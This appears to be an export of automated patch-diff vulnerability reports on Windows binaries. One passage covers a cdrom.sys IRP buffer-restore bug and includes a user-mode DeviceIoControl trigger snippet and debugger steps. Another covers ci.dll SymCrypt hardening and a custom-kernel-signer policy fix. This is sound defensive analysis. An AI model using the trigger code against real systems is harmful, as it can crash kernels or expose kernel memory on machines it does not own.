&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C0009410&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;38&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;arg_8&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C0009415&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C0009417&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;38&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;arg_18&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C000941C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;18&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;RESTORE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;or&lt;/span&gt;&lt;span class="n"&gt;iginal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AssociatedIrp&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="kr"&gt;Sys&lt;/span&gt;&lt;span class="n"&gt;temBuffer&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C0009420&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;38&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;arg_0&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C0009425&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;30&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C0009429&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1C000942A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;retn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;5. Trigger Conditions&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Obtain a handle to a CD-ROM device via &lt;code&gt;CreateFileW("\\\\.\\CdRom0", ...)&lt;/code&gt; with access sufficient to issue the volume IOCTLs (these codes carry &lt;code&gt;FILE_READ_ACCESS | FILE_WRITE_ACCESS&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Send &lt;code&gt;DeviceIoControl&lt;/code&gt; with &lt;code&gt;dwIoControlCode = 0x56C008&lt;/code&gt; (&lt;code&gt;IOCTL_VOLUME_ONLINE&lt;/code&gt;) or &lt;code&gt;0x56C064&lt;/code&gt; (&lt;code&gt;IOCTL_VOLUME_POST_ONLINE&lt;/code&gt;). The request is serialized onto &lt;code&gt;IoctlWorkItemRoutine&lt;/code&gt;, routed by &lt;code&gt;RequestProcessSerializedIoctl&lt;/code&gt;, and handled by &lt;code&gt;RequestHandleVolumeOnline&lt;/code&gt;, which overwrites the request IRP's &lt;code&gt;AssociatedIrp.SystemBuffer&lt;/code&gt; and forwards the request synchronously without restoring the field.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable effect (unpatched):&lt;/strong&gt; when the request completes, the &lt;code&gt;METHOD_BUFFERED&lt;/code&gt; completion path uses &lt;code&gt;AssociatedIrp.SystemBuffer = device_extension + 0x68&lt;/code&gt; instead of the framework-owned system buffer. The plausible outcomes are a deallocation of a pointer that is not the original allocation (pool corruption, typically a bugcheck) and, where output is copied back to the caller, exposure of adjacent device-extension bytes. The exact outcome depends on the request's buffered-I/O completion flags and reported &lt;code&gt;Information&lt;/code&gt; length.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;6. Impact Assessment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Nature:&lt;/strong&gt; Incomplete cleanup of a temporarily borrowed IRP pointer field (&lt;code&gt;AssociatedIrp.SystemBuffer&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mechanism:&lt;/strong&gt; The handler borrows &lt;code&gt;IRP-&amp;gt;AssociatedIrp.SystemBuffer&lt;/code&gt; to supply the data buffer (&lt;code&gt;device_extension + 0x68&lt;/code&gt;) for the request it synchronously forwards to the volume I/O target. Because the send is synchronous, the borrow is only needed for the duration of the call; the patched build restores the original pointer immediately afterward. The unpatched build leaves the borrowed pointer in place, so the buffered-IOCTL completion machinery later acts on device-extension memory.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reachable impact:&lt;/strong&gt; kernel pool corruption / bugcheck from freeing a non-allocation pointer, and limited kernel-memory exposure on copy-back. This is a per-request effect; it does not persist as a modification of a shared device-lifetime object.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Not demonstrated:&lt;/strong&gt; an arbitrary kernel read/write primitive, a controlled pool-spray/overwrite chain, or any control-flow hijack. The field value written (&lt;code&gt;device_extension + 0x68&lt;/code&gt;) is fixed by driver layout, not attacker-supplied, so this is not a controllable write-what-where.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;7. Debugger Notes&lt;/h3&gt;
&lt;p&gt;To observe the behaviour on the &lt;strong&gt;unpatched&lt;/strong&gt; binary with a kernel debugger:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Breakpoints (offsets relative to &lt;code&gt;cdrom!RequestHandleVolumeOnline&lt;/code&gt; base &lt;code&gt;0x1C0009328&lt;/code&gt;):&lt;/strong&gt;
- Entry &lt;code&gt;+0x0&lt;/code&gt; (&lt;code&gt;0x1C0009328&lt;/code&gt;): &lt;code&gt;rcx&lt;/code&gt; = device-extension pointer (&lt;code&gt;a1&lt;/code&gt;), &lt;code&gt;rdx&lt;/code&gt; = request handle (&lt;code&gt;a2&lt;/code&gt;).
- Overwrite &lt;code&gt;+0xB3&lt;/code&gt; (&lt;code&gt;0x1C00093DB&lt;/code&gt;): &lt;code&gt;rax&lt;/code&gt; = the request's WDM IRP; &lt;code&gt;rcx&lt;/code&gt; = &lt;code&gt;device_extension + 0x68&lt;/code&gt;. Read &lt;code&gt;dq @rax+18 L1&lt;/code&gt; before this instruction to capture the original &lt;code&gt;AssociatedIrp.SystemBuffer&lt;/code&gt;; step over and read again to see it replaced by &lt;code&gt;device_extension + 0x68&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What to inspect:&lt;/strong&gt;
At function exit (&lt;code&gt;0x1C000940C&lt;/code&gt; &lt;code&gt;retn&lt;/code&gt; in the unpatched build) inspect the IRP captured at the overwrite: &lt;code&gt;IRP+0x18&lt;/code&gt; still holds &lt;code&gt;device_extension + 0x68&lt;/code&gt; rather than the original system-buffer pointer. On the patched build the same field is restored by the instruction at &lt;code&gt;0x1C000941C&lt;/code&gt; (&lt;code&gt;mov [rdi+18h], rbx&lt;/code&gt;) before the function returns.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Trigger from user mode:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;HANDLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hDevice&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CreateFileW&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\\\&lt;/span&gt;&lt;span class="s"&gt;.&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;CdRom0&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GENERIC_READ&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GENERIC_WRITE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OPEN_EXISTING&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bytesReturned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;UCHAR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;inputBuffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;INPUT_SIZE&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="n"&gt;DeviceIoControl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hDevice&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x56C008&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;inputBuffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inputBuffer&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;bytesReturned&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;8. Changed Functions — Full Triage&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;RequestHandleVolumeOnline @ 0x1C0009328&lt;/code&gt;&lt;/strong&gt; (Similarity: 0.9515)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Change Type:&lt;/strong&gt; Security Relevant&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Notes:&lt;/strong&gt; Register allocation changed (&lt;code&gt;rdi&lt;/code&gt; now holds the IRP, &lt;code&gt;rsi&lt;/code&gt; holds &lt;code&gt;a1&lt;/code&gt;, &lt;code&gt;rbp&lt;/code&gt; holds &lt;code&gt;a2&lt;/code&gt;, &lt;code&gt;rbx&lt;/code&gt; holds the saved field value). A save (&lt;code&gt;mov rbx, [rax+18h]&lt;/code&gt; at &lt;code&gt;0x1C00093E7&lt;/code&gt;) and a restore (&lt;code&gt;mov [rdi+18h], rbx&lt;/code&gt; at &lt;code&gt;0x1C000941C&lt;/code&gt;) were added around the &lt;code&gt;RequestSend&lt;/code&gt; call so that &lt;code&gt;IRP-&amp;gt;AssociatedIrp.SystemBuffer&lt;/code&gt; is preserved across the synchronous forward. This fixes the incomplete-cleanup defect.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Note: The remaining 316 matched functions are identical or feature only cosmetic/spatial compilation differences with no functional impact.&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;9. Unmatched Functions&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;None. Both binaries feature identical function counts and boundaries.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;10. Confidence &amp;amp; Caveats&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; High that the change is a real save/restore of &lt;code&gt;IRP-&amp;gt;AssociatedIrp.SystemBuffer&lt;/code&gt; around a synchronous forward, and that the unpatched build omits the restore. The function, addresses, instructions, and direction all match both builds.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Assumptions:&lt;/strong&gt; &lt;code&gt;0x56C008&lt;/code&gt; and &lt;code&gt;0x56C064&lt;/code&gt; are assumed reachable by a process holding a handle to the CD-ROM device with the access these codes require (&lt;code&gt;FILE_READ_ACCESS | FILE_WRITE_ACCESS&lt;/code&gt;). These volume IOCTLs are normally issued by the volume/mount manager; the handler contains no explicit privilege check.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verification required:&lt;/strong&gt; the precise downstream effect (wrong-pointer free versus copy-back of device-extension bytes versus benign) depends on the buffered-I/O completion flags and the &lt;code&gt;Information&lt;/code&gt; length reported for the completing request, which are not fully determinable from the static images alone. The device-extension layout at &lt;code&gt;+0x68&lt;/code&gt; should be inspected to characterise what memory is exposed on copy-back.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>ci.dll — Unchecked return value in ML-DSA secret-vector expansion (CWE-252/CWE-754) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/ci_5d6d04ce-ci-report-20260626-140649.html" rel="alternate"/><published>2026-06-26T00:00:00-07:00</published><updated>2026-06-26T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-26:/drift-corpus/item/ci_5d6d04ce-ci-report-20260626-140649.html</id><summary type="html">&lt;p&gt;KB5083768&lt;/p&gt;</summary><content type="html">&lt;hr&gt;
&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Unpatched binary&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ci_unpatched.dll&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched binary&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ci_patched.dll&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Overall similarity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0.9579 (95.79%)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Matched functions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;2566&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Changed functions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;83&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Identical functions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;2483&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Unmatched (unpatched)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Unmatched (patched)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; Most of the changed functions are part of the statically-linked SymCrypt cryptographic library embedded in &lt;code&gt;ci.dll&lt;/code&gt;, not the Authenticode/PE certificate-chain code. The patch hardens SymCrypt's FIPS 204 ML-DSA (Module-Lattice Digital Signature Algorithm, the post-quantum "Dilithium" scheme) sampling routines and the RSA private-key setup path: it adds an unchecked-return-value fix in &lt;code&gt;SymCryptMlDsaExpandS&lt;/code&gt;, an RSA key consistency check (verify that the two prime factors multiply back to the modulus) in &lt;code&gt;SymCryptRsakeyCalculatePrivateFields&lt;/code&gt;, and finite iteration bounds on two rejection-sampling loops (&lt;code&gt;SymCryptMlDsaSampleInBall&lt;/code&gt;, &lt;code&gt;SymCryptMlDsaRejBoundedPoly&lt;/code&gt;) that read bytes from a SHAKE/Keccak sponge. These are robustness/defensive hardening changes to key-generation and self-test crypto code; they are not PE signature-verification, certificate-chain, or ASN.1-parsing changes, and the SymCrypt error codes involved are &lt;code&gt;0x8008&lt;/code&gt; (SYMCRYPT_EXTERNAL_FAILURE) and &lt;code&gt;0x800E&lt;/code&gt; (SYMCRYPT_INVALID_ARGUMENT).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;In addition, the patch tightens the Code Integrity SI-policy "custom kernel signers" decision (Finding 5 below), which is NOT part of SymCrypt.&lt;/strong&gt; &lt;code&gt;SIPolicyAreCustomKernelSignersAllowed&lt;/code&gt; decides whether a Secure Kernel / driver signing evaluation may accept custom (non-Microsoft) kernel signers. The unpatched version scanned every loaded SI policy — including supplemental policies — and returned "allowed" if any of them set the enable bits in the policy field at &lt;code&gt;+0x708&lt;/code&gt;. The patched version (1) refuses unless a new lock/enable byte &lt;code&gt;byte_180048F08&lt;/code&gt; has been explicitly set (via the new &lt;code&gt;SIPolicySetCustomKernelSignersLockedEnabled&lt;/code&gt;, driven from a registry-backed init path) and (2) restricts the enabling policy to a base policy via &lt;code&gt;SIPolicyIsBasePolicy&lt;/code&gt;, so a supplemental policy can no longer enable custom kernel signers. This is a real protection-mechanism-failure fix (CWE-693) on the kernel-mode driver-signature-enforcement trust boundary; the result feeds the &lt;code&gt;g_CiDeveloperMode&lt;/code&gt; custom-kernel-signers bit (bit 0xD).&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1: Unchecked Return Value in ML-DSA Secret-Vector Expansion&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability class:&lt;/strong&gt; CWE-252 / CWE-754 — unchecked return value&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected function:&lt;/strong&gt; &lt;code&gt;SymCryptMlDsaExpandS (sub_180029484)&lt;/code&gt; (patched: &lt;code&gt;SymCryptMlDsaExpandS (sub_18002651C)&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Entry point:&lt;/strong&gt; ML-DSA (FIPS 204) key generation / key import inside SymCrypt&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root cause:&lt;/strong&gt; &lt;code&gt;SymCryptMlDsaExpandS&lt;/code&gt; expands the ML-DSA secret vectors &lt;code&gt;s1&lt;/code&gt; and &lt;code&gt;s2&lt;/code&gt; from a seed by calling &lt;code&gt;SymCryptMlDsaRejBoundedPoly (sub_18002A06C)&lt;/code&gt; once per polynomial. In the unpatched version each call is invoked as if it returned &lt;code&gt;void&lt;/code&gt; — its return value is discarded — and the function always returns the result of &lt;code&gt;SymCryptWipeAsm (sub_180011800)&lt;/code&gt;, which is 0. If &lt;code&gt;SymCryptMlDsaRejBoundedPoly&lt;/code&gt; fails (for example by hitting its sampling bound and returning &lt;code&gt;0x8008&lt;/code&gt; SYMCRYPT_EXTERNAL_FAILURE, see Finding 4), that failure is lost and expansion reports success with an incompletely filled polynomial. The patched version captures the return value in a local (&lt;code&gt;v9&lt;/code&gt;), breaks out of the loop on any non-zero status, and returns that status.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Call chain (SymCrypt-internal):&lt;/strong&gt;
1. &lt;code&gt;CiInitialize&lt;/code&gt; — CI subsystem initialization
2. &lt;code&gt;SymCryptMlDsaSelftest (sub_180022048)&lt;/code&gt; — ML-DSA power-on self-test (fixed self-test vectors)
3. &lt;code&gt;SymCryptMlDsakeySetValue (sub_1800215E0)&lt;/code&gt; — ML-DSA key import
4. &lt;code&gt;SymCryptMlDsaKeyGenerateEx (sub_180020A14)&lt;/code&gt; — ML-DSA key generation (also updated to check the return of &lt;code&gt;SymCryptMlDsaExpandS&lt;/code&gt;)
5. &lt;code&gt;SymCryptMlDsaExpandS (sub_180029484)&lt;/code&gt; — secret-vector expansion loop (unchecked return)
6. &lt;code&gt;SymCryptMlDsaRejBoundedPoly (sub_18002A06C)&lt;/code&gt; — per-polynomial rejection sampling (return value discarded)&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Finding 2: Missing RSA Key Consistency Check (p·q == modulus)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability class:&lt;/strong&gt; CWE-754 — missing validation of cryptographic key material&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected function:&lt;/strong&gt; &lt;code&gt;SymCryptRsakeyCalculatePrivateFields (sub_180002D3C)&lt;/code&gt; (patched: &lt;code&gt;SymCryptRsakeyCalculatePrivateFields (sub_18000E324)&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Entry point:&lt;/strong&gt; RSA key import / private-field computation inside SymCrypt&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root cause:&lt;/strong&gt; &lt;code&gt;SymCryptRsakeyCalculatePrivateFields&lt;/code&gt; derives the RSA private CRT fields from the supplied primes. The unpatched version never checks that the supplied prime factors are consistent with the modulus. The patched version adds a new 7th parameter (&lt;code&gt;a7&lt;/code&gt;) and, at the end of the two-prime path, when bit &lt;code&gt;0x200&lt;/code&gt; is NOT set in &lt;code&gt;a7&lt;/code&gt; and there are exactly 2 primes (&lt;code&gt;v21 == 2&lt;/code&gt;), multiplies the two primes with &lt;code&gt;SymCryptFdefIntMulMixedSize (sub_1800260E0)&lt;/code&gt; and compares the product to the stored modulus with &lt;code&gt;SymCryptFdefIntIsEqual (sub_180025E1C)&lt;/code&gt;. If they match it returns the running status; otherwise it falls through to &lt;code&gt;return 32782&lt;/code&gt; (&lt;code&gt;0x800E&lt;/code&gt;, SYMCRYPT_INVALID_ARGUMENT). The unpatched version accepts an RSA key whose primes do not multiply back to its modulus.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Call chain (SymCrypt-internal):&lt;/strong&gt;
1. &lt;code&gt;CiInitialize&lt;/code&gt;
2. &lt;code&gt;SymCryptRsakeySetValue (sub_18000E754)&lt;/code&gt; / &lt;code&gt;SymCryptRsaSelftest (sub_18000E7C4)&lt;/code&gt;
3. &lt;code&gt;SymCryptRsakeySetValueInternal (sub_18001DA98)&lt;/code&gt; — RSA key import routine
4. &lt;code&gt;SymCryptRsakeyCalculatePrivateFields (sub_180002D3C)&lt;/code&gt; — private-field computation (no p·q==n check)&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Finding 3: Unbounded Rejection-Sampling Loop in ML-DSA SampleInBall&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability class:&lt;/strong&gt; CWE-835 — loop with unreachable exit condition&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected function:&lt;/strong&gt; &lt;code&gt;SymCryptMlDsaSampleInBall (sub_18002A2E8)&lt;/code&gt; (patched: &lt;code&gt;SymCryptMlDsaSampleInBall (sub_1800273E0)&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Entry point:&lt;/strong&gt; ML-DSA (FIPS 204) signing / challenge-polynomial sampling inside SymCrypt&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root cause:&lt;/strong&gt; &lt;code&gt;SymCryptMlDsaSampleInBall&lt;/code&gt; samples the ML-DSA challenge polynomial &lt;code&gt;c&lt;/code&gt; (a polynomial with exactly &lt;code&gt;tau&lt;/code&gt; non-zero &lt;code&gt;±1&lt;/code&gt; coefficients) using rejection sampling. Its inner loop squeezes one byte at a time from a SHAKE/Keccak sponge via &lt;code&gt;SymCryptKeccakExtract (sub_18002BB78)&lt;/code&gt; and resamples while the byte exceeds the current index threshold (&lt;code&gt;rbx_1&lt;/code&gt;). In the unpatched version this inner loop has &lt;strong&gt;no iteration limit&lt;/strong&gt;. The patched version adds a counter with a limit of &lt;code&gt;0x79&lt;/code&gt; (121) iterations, returning &lt;code&gt;0x8008&lt;/code&gt; (SYMCRYPT_EXTERNAL_FAILURE) if exceeded. The byte source is the Keccak sponge, not attacker-supplied ASN.1.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Call chain (SymCrypt-internal):&lt;/strong&gt;
1. &lt;code&gt;CiInitialize&lt;/code&gt;
2. &lt;code&gt;SymCryptMlDsaSelftest (sub_180022048)&lt;/code&gt;
3. &lt;code&gt;SymCryptMlDsaSignEx (sub_180020C7C)&lt;/code&gt;
4. &lt;code&gt;SymCryptMlDsaSampleInBall (sub_18002A2E8)&lt;/code&gt; — unbounded inner rejection loop&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Finding 4: Unbounded Rejection-Sampling Loop in ML-DSA RejBoundedPoly&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability class:&lt;/strong&gt; CWE-835 — loop with unreachable exit condition&lt;/li&gt;
